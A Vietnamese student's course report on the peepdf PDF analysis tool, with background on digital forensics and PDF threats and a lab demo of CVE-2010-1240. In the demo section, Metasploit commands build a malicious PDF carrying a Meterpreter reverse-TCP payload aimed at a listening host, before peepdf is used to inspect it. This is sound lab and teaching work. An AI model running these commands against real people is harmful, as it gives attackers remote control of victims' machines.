HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN I
-----&-----
HỌC PHẦN: AN TỒN MẠNG
BÁO CÁO CUỐI KỲ
Đề tài: Tìm hiểu cơng cụ phân tích Peepdf
Giảng viên:
Họ và tên:
Mã sinh viên:
Lớp:
Nhóm mơn học:
TS. Đặng Minh Tuấn
Vũ Tiến Thành
B18DCAT237
D18CQAT01-B
01
Hà Nội, 2021
LỜI CẢM ƠN
Em xin gửi lời cảm ơn chân thành tới thầy Đặng Minh Tuấn đã tận tâm hướng dẫn
cho em các kiến thức trong thời gian làm bài tập lớn. Nhờ những hướng dẫn của thầy,
em đã có thêm rất nhiều kiến thức bổ ích để có thể hồn thành đề tài một cách hoàn
chỉnh nhất. Tuy nhiên, trong q trình làm bài báo cáo em cũng khơng tránh được các
sai sót trong q trình làm bài, em mong thầy thơng cảm và góp ý với em.
Em xin chân thành cảm ơn thầy!
MỤC LỤC
BẢNG THUẬT NGỮ VIẾT TẮT ............................................................................................. 1
DANH MỤC HÌNH VẼ............................................................................................................. 2
DANH MỤC BẢNG BIỂU ....................................................................................................... 3
LỜI MỞ ĐẦU ............................................................................................................................ 4
CHƯƠNG 1: TỔNG QUAN VỀ FORENSICS......................................................................... 5
1.1 Forensics là gì .................................................................................................................. 5
1.2 Mục đích .......................................................................................................................... 5
1.3 Đặc điểm của Forensics ................................................................................................... 6
1.4 Đối tượng nhắm đến của Forensics .................................................................................. 6
1.5 Quy trình Forensics .......................................................................................................... 8
CHƯƠNG 2: ĐỊNH DẠNG PDF .............................................................................................. 9
2.1 Định dạng PDF là gì ........................................................................................................ 9
2.2 Các mối đe doạ khi sử dụng file PDF ............................................................................ 10
2.3 Lỗ hổng trong các trình đọc tập tin PDF........................................................................ 12
CHƯƠNG 3: CƠNG CỤ PEEPDF .......................................................................................... 14
3.1 Giới thiệu cơng cụ Peepdf .............................................................................................. 14
3.2 Hướng dẫn cài đặt .......................................................................................................... 15
3.3 Hướng dẫn sử dụng ........................................................................................................ 17
CHƯƠNG 4: DEMO THỰC NGHIỆM .................................................................................. 18
4.1 Demo 1: Lỗ hổng Adobe PDF Embedded EXE (CVE-2010-1240) .............................. 18
4.1.1 Mơ tả ....................................................................................................................... 18
4.1.2 Khởi tạo và phân tích file PDF chứa lỗ hổng ......................................................... 19
4.1.3 Kết luận ................................................................................................................... 25
4.1.4 Khai thác lỗ hổng .................................................................................................... 25
4.2 Demo 2: Lỗ hổng Adobe util.printf() Buffer Overflow (CVE-2008-2992)................... 26
4.2.1 Mô tả ....................................................................................................................... 26
4.2.2 Khởi tạo và phân tích file PDF chứa lỗ hổng ......................................................... 27
4.2.3 Kết luận ................................................................................................................... 33
4.2.4 Khai thác lỗ hổng .................................................................................................... 33
CHƯƠNG 5: KẾT LUẬN ....................................................................................................... 36
TÀI LIỆU THAM KHẢO ....................................................................................................... 37
BẢNG THUẬT NGỮ VIẾT TẮT
Từ viết tắt
PDF
Tiếng anh
Common Vulnerabilities and
Exposures
Portable Document Format
Tiếng việt
Danh sách lỗ hổng bảo mật máy tính
cơng khai
Định dạng Tài liệu Di động
RAM
Random Access Memory
Bộ nhớ truy cập ngẫu nhiên
RCE
Remote Code Execution
Thực thi code từ xa
TCP
Transmission Control Protocol
Giao thức điều khiển vận chuyển
URL
Uniform Resource Locator
Định vị tài nguyên thống nhất
CVE
1
DANH MỤC HÌNH VẼ
Hình 1.1 Minh hoạ Forensics ..................................................................................................... 6
Hình 1.2 Các loại Forensics ....................................................................................................... 7
Hình 1.3 Các bước trong Forensics ........................................................................................... 8
Hình 2.1 Minh hoạ 1 file PDF ................................................................................................... 9
Hình 2.2 Các phương thức phổ biến phần mềm mã độc xâm nhập vào hệ thống theo báo cáo
của F- Secure............................................................................................................................ 10
Hình 2.3 Các định dạng file đính kèm email phát tán mã độc phổ biến nhất trong năm 2020 11
Hình 2.4 Lỗ hổng trong trình đọc PDF Foxit Reader .............................................................. 12
Hình 2.5 Lỗ hổng trong Foxit Reader CVE-2021-34836 ........................................................ 13
Hình 3.1 Trang Github để tải cơng cụ PeePDF ....................................................................... 15
Hình 3.2 Giao diện chính của PeePDF .................................................................................... 16
Hình 4.1 Hộp thoại cảnh báo khi mở file PDF chứa lỗ hổng .................................................. 18
Hình 4.2 Chạy metasploit framework sử dụng câu lệnh msfconsole ...................................... 19
Hình 4.3 Tìm kiếm module theo tên lỗ hổng ........................................................................... 20
Hình 4.4 File PDF chứa lỗ hổng được tạo thành cơng............................................................. 21
Hình 4.5 File PDF evi.pdf được mở trong chế độ console ...................................................... 21
Hình 4.6 Nội dung của các object 5 ......................................................................................... 22
Hình 4.7 Nội dung của object 6 ............................................................................................... 22
Hình 4.8 Nội dung trong object 7 ............................................................................................ 22
Hình 4.9 Nội dung object 8 ...................................................................................................... 23
Hình 4.10 Nội dung object 8 .................................................................................................... 23
Hình 4.11 Nội dung object 9 .................................................................................................... 24
Hình 4.12 Nội dung object 10 .................................................................................................. 24
Hình 4.13 Sử dụng module exploit/multi/handler ................................................................... 25
Hình 4.14 Cấu hình LHOST và payload cho module tấn cơng ............................................... 25
Hình 4.15 Máy Kali lắng nghe kết nối TCP từ máy nạn nhân................................................. 25
Hình 4.16 Câu lệnh shutdown -s khiên máy nạn nhân bị tắt nguồn ........................................ 26
Hình 4.17 Chạy metasploit framework sử dụng câu lệnh msfconsole .................................... 27
Hình 4.18 Tìm kiếm module theo tên lỗ hổng ......................................................................... 28
Hình 4.19 File PDF chứa lỗ hổng được tạo thành cơng........................................................... 29
Hình 4.20 File PDF msf.pdf được mở trong chế độ console ................................................... 30
Hình 4.21 Nội dung object 1 .................................................................................................... 31
Hình 4.22 Nội dung object 5 .................................................................................................... 31
Hình 4.23 Nội dung object 6 .................................................................................................... 32
Hình 4.24 Tóm tắt nội dung đoạn mã Javascript trong Object 6 ............................................. 32
Hình 4.25 Sử dụng module exploit/multi/handler ................................................................... 33
Hình 4.26 Cấu hình LHOST và payload cho module tấn cơng ............................................... 33
Hình 4.27 Máy Kali lắng nghe kết nối TCP từ máy nạn nhân................................................. 34
Hình 4.28 Dùng lệnh screenshare để xem trực tuyến màn hình máy nạn nhân ....................... 34
Hình 4.29 Xem trực tuyến màn hình hiển thị của máy nạn nhân ............................................ 35
2
DANH MỤC BẢNG BIỂU
Bảng 3.1 Các lệnh trong công cụ Peepdf ................................................................................. 17
3
LỜI MỞ ĐẦU
Trong lĩnh vực an tồn thơng tin, Computer Forensics hay cịn gọi là điều tra số là
cơng việc phát hiện, bảo vệ và phân tích thơng tin được lưu trữ, truyền tải hoặc được
tạo ra bởi một máy tính hoặc mạng máy tính, nhằm đưa ra các suy luận hợp lý để tìm
ngun nhân, giải thích các hiện tượng trong quá trình điều tra. Khái niệm Forensics
(Forensic Science – khoa học pháp y) như tên gọi của nó xuất phát từ lĩnh vực y tế từ
thế kỷ 18 và liên quan đến điều tra pháp y. Ngày nay Forensics đã được mở rộng ra rất
nhiều lĩnh vực khác. Computer Forensics ra đời vào những năm 1980 do sự phát triển
của máy tính cá nhân, khi xảy ra trộm cắp thiết bị phần cứng, mất mát dữ liệu, vi phạm
bản quyền, virus máy tính phá hoại… Các doanh nghiệp và chính phủ các nước khi đó
cũng ý thức hơn về vấn đề bảo mật. Từ đây và trong các loạt bài về sau, khi tơi dùng từ
Forensics thì mọi người hiểu là đang nói về Computer Forensics. [1]
Nếu bạn là chủ nhân của một website nào đấy, một ngày đẹp trời website của bạn bị
hacker ghé thăm và để lại những hậu quả không mong muốn. Bạn muốn xác định
ngun nhân bị tấn cơng, tìm cách khắc phục để sự việc không tái diễn hay xa hơn là
xác định thủ phạm. Đó là lúc bạn cần đến Forensics. Đấy chỉ là một ví dụ khá điển hình,
ngồi ra cịn những trường hợp khác như để phát hiện mã độc trên máy tính, kiểm tra
sự bất thường trong mạng, phát hiện sự xâm nhập… Nói chung Forensics giúp chúng
ta xác định được nguyên nhân sự cố và đưa ra các biện pháp giải quyết tiếp theo. Nói
về Forensics thì khơng thể không nhắc đến một nguyên tắc kinh điển của khoa học điều
tra.
Mục tiêu cốt lõi của Computer Forensic là phát hiện, bảo quản, khai thác, tài liệu hóa
và đưa ra kết luận về dữ liệu thu thập được. Cần lưu ý rằng dữ liệu phải đảm bảo tính
xác thực, và được lấy mà không bị hư hại, nếu không dữ liệu đấy sẽ khơng cịn ý nghĩa.
[1] Trong báo cáo chúng ta sẽ cùng nghiên cứu về một công cụ Forensic rất mạnh trên
Kali Linux là PeePDF.
4
CHƯƠNG 1: TỔNG QUAN VỀ FORENSICS
1.1 Forensics là gì
Trong lĩnh vực an tồn thơng tin, Forensics hay cịn gọi là điều tra số là công việc
phát hiện, bảo vệ và phân tích thơng tin được lưu trữ, truyền tải hoặc được tạo ra bởi
một máy tính hoặc mạng máy tính, nhằm đưa ra các suy luận hợp lý để tìm ngun
nhân, giải thích các hiện tượng trong q trình điều tra.
Khái niệm Forensics (Forensic Science – khoa học pháp y) như tên gọi của nó xuất
phát từ lĩnh vực y tế từ thế kỷ 18 và liên quan đến điều tra pháp y. Ngày nay Forensics
đã được mở rộng ra rất nhiều lĩnh vực khác.
Forensics ra đời vào những năm 1980 do sự phát triển của máy tính cá nhân, khi xảy
ra trộm cắp thiết bị phần cứng, mất mát dữ liệu, vi phạm bản quyền, virus máy tính phá
hoại… Các doanh nghiệp và chính phủ các nước khi đó cũng ý thức hơn về vấn đề bảo
mật.
1.2 Mục đích
Mục đích cốt lõi là phát hiện, bảo quản, khai thác, tài liệu hóa và đưa ra kết luận về
dữ liệu thu thập được. Các trường hợp cần điều tra số:
Khi hệ thống bị tấn công, chưa xác định được nguyên nhân
Khi cần khôi phục dữ liệu thiết bị, hệ thống
Hiểu rõ cách làm việc của hệ thống
Điều tra tội phạm liên quan đến công nghệ cao
Điều tra các hoạt động gián điệp trong công nghệ
Việc tiến hành một cuộc điều tra số nhằm xác định chính xác những hoạt động mà
tội phạm mạng đã tác động vào hệ thống và ngăn ngừa các rủi ro khác có thể xảy ra.
Khơi phục thiệt hại mà cuộc tấn cơng vào hệ thống mạng máy tính gây ra: phục hồi dữ
liệu, thông tin lưu trữ trên hệ thống đã bị phá hoại có chủ đích.
5
Hình 1.1 Minh hoạ Forensics
1.3 Đặc điểm của Forensics
Forensics có một số đặc điểm sau:
Dữ liệu cần phân tích lớn, nếu dữ liệu chỉ là text thơi thì với dung lượng vài MB
chúng ta cũng có 1 lượng thơng tin rất lớn. Trong thực tế thì cịn khổng lồ hơn
Dữ liệu thường khơng cịn ngun vẹn, bị thay đổi, phân mảnh, và có thể bị lỗi
Bảo quản dữ liệu khó khăn, dữ liệu thu được có thể có tính tồn vẹn cao, chỉ một
thay đổi nhỏ cũng có thể làm ảnh hưởng đến tất cả
Dữ liệu forensics có thể gồm nhiều loại khác nhau: file hệ thống, ứng dụng,…
Vấn đề cần forensics là khá trừu tượng: mã máy, dump file, network packet…
Dữ liệu dễ dàng bị giả mạo
Xác định tội pham khó khăn, có thể bạn tìm ra được dữ liệu về hacker (IP, email,
profile…) nhưng để xác định được được đối tượng thật ngồi đời thì cũng khơng
hề đơn giản
1.4 Đối tượng nhắm đến của Forensics
Forensic thường làm việc với những đối tượng sau:
Physical Media, Media Management: Liên quan đến phần cứng, tổ chức phân
vùng, phục hồi dữ liệu khi bị xóa… Thu thập phân tích dữ liệu trên các thiết bị
vật lý, trích xuất dữ liệu ẩn, khơi phục dữ liệu bị xóa, qua đó tìm ra người tạo và
làm thay đổi dữ liệu. Là loại hình điều tra thực hiện trên các thiết bị di động,
GPS, máy tính bảng,… nhằm thu thập dữ liệu, các chứng cứ kỉ thuật số
File System: Phân tích các file hệ thống, hệ điều hành Windows, Linux,
Android…
6
Application: Phân tích dữ liệu từ ứng dụng như các file log, file cấu hình, reverse
ứng dụng… Phân tích các ứng dụng chạy trên hệ thống như Email, Skype,
Yahoo, trình duyệt. Qua đó trích xuất các bản ghi được lưu trữ trên các ứng dụng,
phục vụ cho việc tìm chứng cứ
Network: Phân tích gói tin mạng, sự bất thường trong mạng thực hiện giám sát,
phân tích lưu lượng mạng nhằm phục vụ cho việc phát hiện các bất thường trên
mạng, thu thập thông tin phục vụ cho việc tìm kiếm chứng cứ.
Memory: Phân tích dữ liệu trên bộ nhớ, thường là dữ liệu lưu trên RAM được
dump ra. Thực hiện trích xuất, phân tích bộ nhớ RAM, để tìm ra các hành vi trên
hệ thống. Những tập tin thực thi có thể chứng minh các hành động phạm tội của
tội phạm
Hình 1.2 Các loại Forensics
Các cơng cụ pháp y số khơng chỉ có giá trị trong việc thu thập thơng tin mà cịn để
tự động hóa phần lớn quy trình phân tích, chẳng hạn như:
Xác định và khôi phục các đoạn tệp cũng như các tệp và thư mục bị ẩn và bị xóa
từ bất kỳ vị trí nào (ví dụ: dung lượng đã sử dụng, dung lượng trống, không gian
chung)
Kiểm tra cấu trúc tệp, tiêu đề và các đặc điểm khác để xác định loại dữ liệu mà
mỗi tệp chứa, thay vì dựa vào phần mở rộng tệp (ví dụ: .doc, .jpg, .mp3)
Hiển thị nội dung của tất cả các tệp đồ họa
Thực hiện các tìm kiếm phức tạp
7
1.5 Quy trình Forensics
Hình 1.3 Các bước trong Forensics
Quy trình Forensics bao gồm các bước cụ thể như sau:
Chuẩn bị: Bước này thực hiện việc mô tả lại thông tin hệ thống, những hành vi
đã xảy ra, các dấu hiệu để xác định phạm vi điều tra, mục đích cũng như các tài
nguyên cần thiết sẽ sử dụng trong suốt quá trình điều tra
Tiếp nhận dữ liệu: là bước tạo ra một bản sao chính xác các dữ liệu (chứng cứ
số) hay còn gọi là nhân bản điều tra các phương tiện truyền thơng. Để đảm bảo
tính tồn vẹn của chứng cứ thu được thì những dữ liệu này phải được sử dụng
một kỹ thuật mật mã là “băm” dữ liệu (sử dụng SHA1 hoặc MD5), trong quá
trình điều tra cần phải xác minh độ chính xác của các bản sao thu được.
Phân tích: là giai đoạn các chuyên gia sử dụng các phương pháp nghiệp vụ, các
kỹ thuật cũng như cơng cụ khác nhau để trích xuất, thu thập và phân tích các
bằng chứng thu được
Lập báo cáo: Những chứng cứ thu thập được phải được tài liệu hóa lại rõ ràng,
chi tiết và báo cáo lại cho các bộ phận có trách nhiệm xử lý chứng cứ theo quy
định
8
CHƯƠNG 2: ĐỊNH DẠNG PDF
2.1 Định dạng PDF là gì
PDF (Portable Document Format) là định dạng tài liệu di động, tập tin văn bản khá
phổ biến của hãng Adobe Systems. Cũng giống như định dạng Word, PDF hỗ trợ văn
bản thơ cùng với font chữ, hình ảnh, âm thanh và hiệu ứng khác. [2]
Tính di động của file PDF rất quan trọng, nó thể hiện ở điểm các tệp file PDF khi mở
ở bất kỳ thiết bị nào trên tất cả các hệ điều hành máy tính và di động như Windows,
MacOS, Android, iOS thì nó cũng phù hợp. Thơng tin trong PDF không phụ thuộc vào
thiết bị của người tạo hoặc của người xem. [3] Nó bao gồm phơng chữ, biểu đồ, hình
ảnh…
Một số trình đọc và chỉnh sửa PDF nổi tiếng như: Adobe Acrobat Reader, Foxit
Reader, NitroPDF Reader, các trình đọc PDF trong trình duyệt máy tính cũng có khả
năng đọc file định dạng PDF.
Hình 2.1 Minh hoạ 1 file PDF
9
2.2 Các mối đe doạ khi sử dụng file PDF
Hình 2.2 Các phương thức phổ biến phần mềm mã độc xâm nhập vào hệ thống theo
báo cáo của F- Secure
Theo báo cáo, các phương thức phổ biến phần mềm mã độc xâm nhập vào hệ thống là
qua email, chiếm 52%, tiếp đến là cài đặt thủ công phần mềm trong đó có chứa mã độc,
hoặc phần mềm mã độc được kích hoạt cài đặt sau khi cài phần mềm bình thường.
Trong số tấn cơng giả mạo qua email trên, thì một phần ba trong số các email chứa mã
độc trong file đính kèm. File đính kèm phát tán mã độc phổ biến nhất là PDF chiếm
32% trong số sáu tháng cuối năm. [4]
Mức độ phổ biến của tệp PDF đối với những kẻ tấn công nằm ở khả năng di động
của loại tệp trên các thiết bị và nền tảng, PDF được sử dụng rộng rãi vì nó linh hoạt. Nó
có thể chứa văn bản, hình ảnh và mã cùng một lúc. Mặc dù định dạng file PDF không
chứa được mã độc như file Excel nhưng file PDF lại có đường dẫn tới website chứa mã
độc, và định dạng PDF bị phần mềm quét virus bỏ qua, không nhận diện mã độc. Với
sự kết hợp của tệp di động có URL, áp dụng tấn công kỹ thuật xã hội hiệu quả để thu
hút người dùng nhấp vào tài liệu và mở liên kết bên trong. [4]
10
Hình 2.3 Các định dạng file đính kèm email phát tán mã độc phổ biến nhất trong năm
2020
Vấn đề bảo mật liên quan đến định dạng PDF có xu hướng gia tăng. Mặc dù đã có
nhiều cảnh báo nhưng vẫn có khơng ít người trở thành nạn nhân của những kẻ tấn cơng.
Nhóm nghiên cứu bảo mật của Microsoft (Microsoft Security Intelligence) đã phát hiện
ra một cuộc tấn công mới thông qua email.
Khi nạn nhân tải xuống và mở các tệp PDF đính kèm, trojan sẽ truy cập vào thiết bị
và đánh cắp thơng tin đăng nhập, mật khẩu… Ngồi ra, phần mềm độc hại cịn chiếm
quyền kiểm sốt hệ thống và tự ngụy trang thành phần mềm tống tiền giả mạo. Mô tả
về lỗ hổng: “Phiên bản 1.5 của phần mềm độc hại có khá nhiều thay đổi so với trước
đó, nhưng chức năng của chúng chủ yếu vẫn như cũ, bao gồm việc thu thập mật khẩu
trình duyệt, chạy lệnh từ xa từ Windows PowerShell, ghi nhớ thao tác trên bàn phím…
và một số tính năng khác”.
Có nhiều cách khác nhau để thao tác với tệp PDF. Nói chung, các kỹ thuật phổ biến
nhất mà kẻ tấn công sử dụng liên quan đến:
JavaScript: Nhiều tệp PDF chứa mã JavaScript, mã này có thể chạy các tệp độc
hại
URL: Để ngăn phần mềm phịng thủ trên máy tính và các công cụ khác phát hiện
các mối đe dọa trong nội dung email, kẻ tấn công sẽ nhúng các liên kết độc hại
vào tệp PDF
Tệp nhúng: Một số trình đọc PDF sử dụng danh sách đen để chặn các loại tệp
dựa trên phần mở rộng, chẳng hạn như .exe và .vbs
Các tệp PDF được mã hóa: Có thể nhúng một tệp PDF được mã hóa và độc hại
vào bên trong một tệp PDF khác. Kỹ thuật này chủ yếu được sử dụng để đánh
lừa các công cụ phát hiện
11
2.3 Lỗ hổng trong các trình đọc tập tin PDF
Ngồi các lỗ hổng trong tệp tin PDF có thể bị cài cắm mã độc từ kẻ tấn cơng, các
trình đọc tệp tin PDF cũng tồn tại rất nhiều lỗ hổng để có thể lợi dụng trong vịng nhiều
năm qua và qua rất nhiều phiên bản và mức độ nghiêm trọng của lỗ hổng ln ở mức
trung bình đến nghiêm trọng.
Hình 2.4 Lỗ hổng trong trình đọc PDF Foxit Reader
Ví dụ về một lỗ hổng nghiêm trọng liên quan đến trình đọc PDF Foxit Reader là
CVE-2021-34836. Lỗ hổng này cho phép những kẻ tấn công từ xa thực thi mã tùy ý
trên các bản cài đặt bị ảnh hưởng của Foxit Reader 11.0.0.49893. Tuy nhiên, chúng cần
có sự tương tác của người dùng để khai thác lỗ hổng này, trong đó nạn nhân phải truy
cập vào một trang chứa mã độc hoặc mở một tệp chứa mã độc. Cụ thể, lỗ hổng tồn tại
trong việc xử lý các đối tượng Chú thích. Vấn đề bắt nguồn từ việc thiếu xác thực sự
tồn tại của một đối tượng trước khi thực hiện các thao tác trên đối tượng. Kẻ tấn cơng
có thể tận dụng lỗ hổng này để thực thi các đoạn mã độc bất kỳ. Lần đầu xuất hiện vào
năm 2021 và tại thời điểm đó mức độ nghiêm trọng của lỗ hổng này được đánh giá ở
6.8/10.
12
Hình 2.5 Lỗ hổng trong Foxit Reader CVE-2021-34836
13
CHƯƠNG 3: CƠNG CỤ PEEPDF
3.1 Giới thiệu cơng cụ Peepdf
PeePDF là một công cụ viết bằng ngôn ngữ Python để phân tích các tệp PDF để xác
định xem tệp đó có chứa dữ liệu độc hại hay khơng. Mục đích của công cụ này nhằm
cung cấp tất cả các chức năng cần thiết mà một nhà nghiên cứu bảo mật cần để phân
tích một file PDF, mà khơng cần sử dụng 3 hoặc 4 công cụ khác nhau để thực hiện tất
cả các tác vụ. [5]
Với PeePDF, ta có thể thấy tất cả các đối tượng trong tài liệu cũng như các thành
phần đáng ngờ. Ngồi ra, cơng cụ này cũng hỗ trợ tất cả các bộ lọc và mã hóa được sử
dụng nhiều nhất và có thể phân tích cú pháp các phiên bản khác nhau của tệp, luồng đối
tượng và các tệp được mã hóa. [5]
Với việc cài đặt PyV8 và Pylibemu, nó cũng cung cấp các gói thư viện để phân tích
Javascript và shellcode. Ngồi ra, nó có thể tạo các tệp PDF mới và sửa đổi, làm xáo
trộn những tệp đã tồn tại. [5]
Các chức năng chính của PeePDF bao gồm:
a. Phân tích
Giải mã: thập lục phân, bát phân, tên đối tượng
Các bộ lọc
Tham chiếu trong các đối tượng và nơi một đối tượng được tham chiếu
Tìm kiếm chuỗi (bao gồm cả luồng)
Cấu trúc vật lý (offsets)
Cấu trúc cây logic
Metadata
Các thay đổi giữa các phiên bản (changelog)
Đối tượng nén (luồng đối tượng)
Phân tích và sửa đổi Javascript (PyV8)
Phân tích mã Shellcode (Gói thư viên python Libemu, pylibemu)
Biến (đặt lệnh)
Trích xuất các phiên bản cũ của tài liệu
Dễ dàng trích xuất các đối tượng, mã Javascript, mã shell
Kiểm tra hàm băm trên VirusTotal
14
b. Khởi tạo/Chỉnh sửa
Tạo file PDF cơ bản
Tạo PDF với mã Javascript được thực thi khi tài liệu được mở
Tạo luồng đối tượng để nén đối tượng
Tạo các tệp PDF được nhúng
Xáo trộn chuỗi và tên
Chỉnh sửa định dạng đầu ra của file PDF: khơng có endobj, rác trong tiêu đề, tiêu
đề khơng hợp lệ...
Chỉnh sửa bộ lọc
Chỉnh sửa đối tượng
c. Chế độ thực thi
Thực hiện lệnh đơn giản
Bảng điều khiển tương tác mạnh mẽ (có màu hoặc khơng)
Chế độ batch
3.2 Hướng dẫn cài đặt
Do Kali Linux hiện nay khơng cịn tích hợp sẵn cơng cụ PeePDF, do đó ta phải tải
và cài đặt công cụ này trên Github thơng qua đường link:
/>
Hình 3.1 Trang Github để tải cơng cụ PeePDF
15
Sau khi tải công cụ về máy Kali, ta tiến hành giải nén. Sau đó, ta sử dụng câu lệnh
sau để chạy file peepdf.py:
python2 peepdf.py
Khi đó, màn hình sẽ xuất hiện giao diện chính của cơng cụ PeePDF như sau:
Hình 3.2 Giao diện chính của PeePDF
16
3.3 Hướng dẫn sử dụng
Ta sử dụng câu lệnh theo cú pháp sau để sử dụng các chức năng của công cụ PeePDF:
python2 peepdf.py [chế độ] [tên file hoặc đường dẫn]
Chế độ
Mô tả
-h, --help
Hiển thị các chế độ mà công cụ Peepdf hỗ trợ
-i, --interactive
Bật chế độ điều khiển tương tác
-s SCRIPTFILE,
--load-script=SCRIPTFILE
Tải các lệnh được lưu trữ trong tệp cụ thể và thực thi
chúng
-c, --check-vt
Kiểm tra mã băm của tệp PDF trên VirusTotal
-f, --force-mode
Bật chế độ phân tích cú pháp bắt buộc để bỏ qua lỗi
-l, --loose-mode
Bật chế độ phân tích cú pháp lỏng lẻo để bắt các đối
tượng khơng đúng định dạng
-m, --manual-analysis
Khơng tự động phân tích mã Javascript
-u, --update
Cập nhật phiên bản mới nhất của công cụ Peepdf
-g, --grinch-mode
Không tô màu kết quả đầu ra trong chế độ điều khiển
tương tác
-v, --version
Hiển thị phiên bản của công cụ Peepdf
-x, --xml
Hiển thị thông tin tài liệu ở định dạng XML
-j, --json
Hiển thị thông tin tài liệu ở định dạng JSON
-C COMMANDS,
--command=COMMANDS
Thực thi một lệnh cụ thể trong chế độ điều khiển
tương tác
Bảng 3.1 Các lệnh trong công cụ Peepdf
17
CHƯƠNG 4: DEMO THỰC NGHIỆM
4.1 Demo 1: Lỗ hổng Adobe PDF Embedded EXE (CVE-2010-1240)
Video demo: />4.1.1 Mô tả
Lỗ hổng Adobe PDF Embedded EXE (CVE-2010-1240) này nhắm vào phần mềm
Adobe Reader với phiên bản 9.3.3 trở về trước trên hệ điều hành Windows và MacOS.
Theo đó, phần mềm Adobe Reader ở các phiên bản kể trên không hạn chế nội dung
của một text field trong hộp thoại cảnh báo khi mở file PDF. Điều này sẽ giúp kẻ tấn
công từ xa có thể dễ dàng lừa người dùng ấn vào hộp thoại cảnh báo để thực thi một
chương trình bất kỳ trên máy tính của nạn nhân đã được kẻ tấn cơng nhúng vào trong
file PDF trước đó.
Hình 4.1 Hộp thoại cảnh báo khi mở file PDF chứa lỗ hổng
18
4.1.2 Khởi tạo và phân tích file PDF chứa lỗ hổng
4.1.2.1 Khởi tạo
- Đầu tiên, ta chạy metasploit framework sử dụng câu lệnh:
msfconsole
Hình 4.2 Chạy metasploit framework sử dụng câu lệnh msfconsole
19
- Sử dụng câu lệnh sau để tìm kiếm module theo tên lỗ hổng:
search name:Adobe PDF Embedded EXE
Hình 4.3 Tìm kiếm module theo tên lỗ hổng
- Sử dụng module có #0 để tiến hành khởi tạo file PDF chứa lỗ hổng
- Lần lượt chạy các câu lệnh sau để cấu hình địa chỉ máy để lắng nghe, cổng để lắng
nghe và payload cho module:
set LHOST 192.168.100.14
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
exploit
- Sau khi chạy lệnh exploit, file PDF có tên evil.pdf chứa lỗ hổng đã được khởi tạo trong
folder có đường dẫn:
/root/.msf4/local
20
Hình 4.4 File PDF chứa lỗ hổng được tạo thành cơng
4.1.2.2 Phân tích file PDF chứa lỗ hổng sử dụng PeePDF
- Đầu tiên, ta chuyển file PDF chứa lỗ hổng ra màn hình Desktop
- Ta mở folder chứa cơng cụ PeepPDF và chạy dòng lệnh sau để mở file PDF chứa lỗ
hổng evil.pdf trong chế độ console của công cụ:
python2 peepdf.py -i /root/Desktop/evil.pdf
Hình 4.5 File PDF evi.pdf được mở trong chế độ console
21
- Ta thấy, trong phần Suspicious elements, có sự xuất hiện của các object có chứa mã
Javascript và EmbeddedFiles, điều này thể hiện rằng file PDF có thể đã được chèn vào
tệp thực thi khơng biết trước và có thể gây nguy hại cho máy tính
- Ta sử dụng câu lệnh sau để kiểm tra object đáng ngờ 5:
object 5
Hình 4.6 Nội dung của các object 5
- Ta thấy rằng, object 5 nhúng object 6 vào trong file PDF, ta tiếp tục xem nội dung của
object 6 sử dụng câu lệnh:
object 6
Hình 4.7 Nội dung của object 6
- Theo đó, object 6 chứa tên file được lưu vào trong object 7
- Ta tiếp tục xem nội dung của object 7 sử dụng câu lệnh:
object 7
Hình 4.8 Nội dung trong object 7
22